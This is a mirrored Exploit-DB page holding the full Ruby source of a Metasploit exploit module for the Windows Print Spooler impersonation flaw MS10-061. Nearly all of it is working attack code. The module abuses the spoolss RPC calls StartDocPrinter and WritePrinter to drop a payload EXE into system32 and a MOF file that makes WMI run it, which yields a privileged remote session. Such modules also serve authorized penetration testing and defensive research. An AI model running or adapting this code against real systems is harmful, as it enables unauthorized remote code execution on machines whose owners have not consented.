Microsoft Windows – Print Spooler Service Impersonation (MS10-061) (Metasploit)

  • 作者: Metasploit
    日期: 2011-02-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16361/
  • ##
    # $Id: ms10_061_spoolss.rb 11766 2011-02-17 19:22:11Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/windows_error'
    require 'msf/core/exploit/wbemexec'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::DCERPC
    	include Msf::Exploit::Remote::SMB
    	include Msf::Exploit::EXE
    	include Msf::Exploit::WbemExec
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft Print Spooler Service Impersonation Vulnerability',
    			'Description'=> %q{
    					This module exploits the RPC service impersonation vulnerability detailed in
    				Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
    				StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
    				to create a file. The working directory at the time is %SystemRoot%\\system32.
    				An attacker can specify any file name, including directory traversal or full paths.
    				By sending WritePrinter requests, an attacker can fully control the content of
    				the created file.
    
    				In order to gain code execution, this module writes an EXE and then (ab)uses the
    				impersonation vulnerability a second time to create a secondary RPC connection
    				to the \\PIPE\\ATSVC named pipe. We then proceed to create a remote AT job using
    				a blind NetrJobAdd RPC call.
    			},
    			'Author' =>
    				[
    					'jduck',# re-discovery, printer RPC stubs, module
    					'hdm' # ATSVC RPC proxy method, etc ;)
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 11766 $',
    			'Platform' => 'win',
    			'References' =>
    				[
    					[ 'OSVDB', '67988' ],
    					[ 'CVE', '2010-2729' ],
    					[ 'MSB', 'MS10-061' ]
    				],
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 1024,
    					'BadChars' => "",
    					'DisableNops' => true,
    				},
    			'Targets'=>
    				[
    					[ 'Windows Universal', { } ]
    				],
    			'DisclosureDate' => 'Sep 14 2010',
    			'DefaultTarget' => 0))
    
    		register_options(
    			[
    				OptString.new('SMBPIPE', [ false,"The named pipe for the spooler service", "spoolss"]),
    				OptString.new('PNAME', [ false,"The printer share name to use on the target" ]),
    			], self.class)
    	end
    
    
    	def exploit
    
    		connect()
    		login_time = Time.now
    		smb_login()
    
    		print_status("Trying target #{target.name}...")
    
    		handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
    
    		print_status("Binding to #{handle} ...")
    		dcerpc_bind(handle)
    
    		print_status("Bound to #{handle} ...")
    
    		# Try all of the printers :)
    		printers = []
    		if (pname = datastore['PNAME'])
    			printers << pname
    		else
    			res = self.simple.client.trans(
    				"\\PIPE\\LANMAN",
    				(
    					[0x00].pack('v') +
    					"WrLeh\x00" +
    					"B13BWz\x00"+
    					[0x01, 65406].pack("vv")
    				)
    			)
    
    			printers = []
    
    			lerror, lconv, lentries, lcount = res['Payload'].to_s[
    				res['Payload'].v['ParamOffset'],
    				res['Payload'].v['ParamCount']
    			].unpack("v4")
    
    			data = res['Payload'].to_s[
    				res['Payload'].v['DataOffset'],
    				res['Payload'].v['DataCount']
    			]
    
    			0.upto(lentries - 1) do |i|
    				sname,tmp = data[(i * 20) +0, 14].split("\x00")
    				stype = data[(i * 20) + 14, 2].unpack('v')[0]
    				scoff = data[(i * 20) + 16, 2].unpack('v')[0]
    				if ( lconv != 0)
    					scoff -= lconv
    				end
    				scomm,tmp = data[scoff, data.length - scoff].split("\x00")
    
    				# we only want printers
    				next if stype != 1
    
    				printers << sname
    			end
    		end
    
    		# Generate a payload EXE to execute
    		exe = generate_payload_exe
    
    		printers.each { |pr|
    
    			pname = "\\\\#{rhost}\\#{pr}"
    
    			print_status("Attempting to exploit MS10-061 via #{pname} ...")
    
    			# Open the printer
    			status,ph = open_printer_ex(pname)
    			if status != 0
    				raise RuntimeError, "Unable to open printer: #{Msf::WindowsError.description(status)}"
    			end
    			print_status("Printer handle: %s" % ph.unpack('H*'))
    
    
    			# NOTE: fname can be anything nice to write to (cwd is system32), even
    			# directory traversal and full paths are OK.
    			fname = rand_text_alphanumeric(14) + ".exe"
    			write_file_contents(ph, fname, exe)
    
    			# Generate a MOF file and write it so that the Windows Management Service will
    			# execute our binary ;)
    			mofname = rand_text_alphanumeric(14) + ".mof"
    			mof = generate_mof(mofname, fname)
    			write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)
    
    			# ClosePrinter
    			status,ph = close_printer(ph)
    			if status != 0
    				raise RuntimeError, "Failed to close printer: #{Msf::WindowsError.description(status)}"
    			end
    
    			break if session_created?
    		}
    
    		#print_status("Everything should be set, waiting up to two minutes for a session...")
    		print_status("Everything should be set, waiting for a session...")
    		handler
    		disconnect
    
    	rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
    		raise RuntimeError, $!.message
    	end
    
    
    	#
    	# Use the vuln to write a file :)
    	#
    	def write_file_contents(ph, fname, data)
    
    		doc = rand_text_alphanumeric(16+rand(16))
    
    		# StartDocPrinter
    		status,jobid = start_doc_printer(ph, doc, fname)
    		if status != 0 or jobid < 0
    			raise RuntimeError, "Unable to start print job: #{Msf::WindowsError.description(status)}"
    		end
    		print_status("Job started: 0x%x" % jobid)
    
    		# WritePrinter
    		status,wrote = write_printer(ph, data)
    		if status != 0 or wrote != data.length
    			raise RuntimeError, ('Failed to write %d bytes!' % data.length)
    		end
    		print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])
    
    		# EndDocPrinter
    		status = end_doc_printer(ph)
    		if status != 0
    			raise RuntimeError, "Failed to end print job: #{Msf::WindowsError.description(status)}"
    		end
    	end
    
    
    	#
    	# Call RpcOpenPrinterEx
    	#
    	def open_printer_ex(pname, machine = nil, user = nil)
    =begin
    		DWORD RpcOpenPrinterEx(
    			[in, string, unique] STRING_HANDLE pPrinterName,
    			[out] PRINTER_HANDLE* pHandle,
    			[in, string, unique] wchar_t* pDatatype,
    			[in] DEVMODE_CONTAINER* pDevModeContainer,
    			[in] DWORD AccessRequired,
    			[in] SPLCLIENT_CONTAINER* pClientInfo
    		);
    =end
    
    		# NOTE: For more information about this encoding, see the following
    		# sections of the Open Group's C706 DCE 1.1: RPC
    		#
    		# 14.3.8 Unions
    		# 14.3.10 Pointers
    		# 14.3.12.3 Algorithm for Deferral of Referents
    		#
    		machine ||= ''
    		machine = NDR.uwstring(machine)
    		user ||= ''
    		user = NDR.uwstring(user)
    
    		splclient_info =
    			NDR.long(0) +# DWORD dwSize;
    			machine[0,4] + # [string] wchar_t* pMachineName;
    			user[0,4] +# [string] wchar_t* pUserName;
    			NDR.long(7600) + # DWORD dwBuildNum
    			NDR.long(3) +# DWORD dwMajorVersion;
    			NDR.long(0) +# DWORD dwMinorVersion;
    			NDR.long(9)# unsigned short wProcessorArchitecture;
    
    		# Add the deferred members
    		splclient_info << machine[4, machine.length]
    		splclient_info << user[4, user.length]
    
    		splclient_info[0,4] = NDR.long(splclient_info.length)
    
    		splclient_info =
    			# union!
    			NDR.long(1) +# discriminant (inside copy)
    			NDR.long(rand(0xffffffff)) +
    			splclient_info
    
    		stubdata =
    			NDR.uwstring(pname) +# pPrinterName
    			NDR.long(0) +
    			# DEVMODE_CONTAINER (null)
    			NDR.long(0) +
    			NDR.long(0) +
    			# AccessRequired
    			NDR.long(0x02020000) +
    			# SPLCLIENT_CONTAINER
    			NDR.long(1) + # Level (must be 1)
    			# SPLCLIENT_INFO_1
    			splclient_info
    
    		#print_status('Sending OpenPrinterEx request...')
    		response = dcerpc.call(69, stubdata)
    		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    			#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
    
    			handle = dcerpc.last_response.stub_data[0,20]
    			status = dcerpc.last_response.stub_data[20,4].unpack('V').first
    
    			return [status, handle]
    		end
    
    		nil
    	end
    
    
    	#
    	# Call RpcStartDocPrinter
    	#
    	def start_doc_printer(handle, dname, fname, dtype = nil)
    =begin
    		typedef struct _DOC_INFO_CONTAINER {
    			DWORD Level;
    			[switch_is(Level)] union {
    				[case(1)]
    				DOC_INFO_1* pDocInfo1;
    			} DocInfo;
    		} DOC_INFO_CONTAINER;
    		DWORD RpcStartDocPrinter(
    			[in] PRINTER_HANDLE hPrinter,
    			[in] DOC_INFO_CONTAINER* pDocInfoContainer,
    			[out] DWORD* pJobId
    		);
    =end
    		dname = NDR.uwstring(dname)
    		if fname
    			fname = NDR.uwstring(fname)
    		else
    			fname = NDR.long(0)
    		end
    		if dtype
    			dtype = NDR.uwstring(dtype)
    		else
    			dtype = NDR.long(0)
    		end
    
    		doc_info =
    			dname[0, 4] +
    			fname[0, 4] +
    			dtype[0, 4]
    
    		# Add the deferred members
    		doc_info << dname[4, dname.length]
    		doc_info << fname[4, fname.length]
    		doc_info << dtype[4, dtype.length]
    
    		doc_info =
    			# Union!
    			NDR.long(1) +
    			NDR.long(rand(0xffffffff)) +
    			doc_info
    
    		stubdata =
    			handle +
    			NDR.long(1) +
    			doc_info
    
    		#print_status('Sending StartDocPrinter request...')
    		response = dcerpc.call(17, stubdata)
    		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    			#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
    			jobid, status = dcerpc.last_response.stub_data.unpack('VV')
    			return [status, jobid]
    		end
    
    		nil
    	end
    
    
    	#
    	# Call RpcWritePrinter
    	#
    	def write_printer(handle, data)
    =begin
    		DWORD RpcWritePrinter(
    			[in] PRINTER_HANDLE hPrinter,
    			[in, size_is(cbBuf)] BYTE* pBuf,
    			[in] DWORD cbBuf,
    			[out] DWORD* pcWritten
    		);
    =end
    		stubdata =
    			handle +
    			NDR.long(data.length) +
    			# Perhaps we need a better data type for BYTE* :)
    			data +
    			NDR.align(data) +
    			NDR.long(data.length)
    
    		#print_status('Sending WritePrinter request...')
    		response = dcerpc.call(19, stubdata)
    		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    			#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
    			wrote,status = dcerpc.last_response.stub_data.unpack('VV')
    			return [status, wrote]
    		end
    
    		nil
    	end
    
    
    	#
    	# Call RpcEndDocPrinter
    	#
    	def end_doc_printer(handle)
    =begin
    		DWORD RpcEndDocPrinter(
    			[in] PRINTER_HANDLE* phPrinter
    		);
    =end
    
    		#print_status('Sending EndDocPrinter request...')
    		response = dcerpc.call(23, handle)
    		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    			#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
    			status = dcerpc.last_response.stub_data[0,4].unpack('V').first
    			return status
    		end
    
    		nil
    	end
    
    
    	#
    	# Call RpcClosePrinter
    	#
    	def close_printer(handle)
    =begin
    		DWORD RpcClosePrinter(
    			[in, out] PRINTER_HANDLE* phPrinter
    		);
    =end
    
    		#print_status('Sending ClosePrinter request...')
    		response = dcerpc.call(29, handle)
    		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
    			#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
    			handle = dcerpc.last_response.stub_data[0,20]
    			status = dcerpc.last_response.stub_data[20,4].unpack('V').first
    			return [status,handle]
    		end
    
    		nil
    	end
    
    
    	def seconds_since_midnight(time)
    		# .tv_sec always uses .utc
    		(time.tv_sec % 86400)
    
    		# This method uses the localtime
    		#(time.hour * 3600) + (time.min * 60) + (time.sec)
    	end
    
    	# We have to wait a bit longer since the WMI service is a bit slow..
    	def wfs_delay
    		10
    	end
    
    end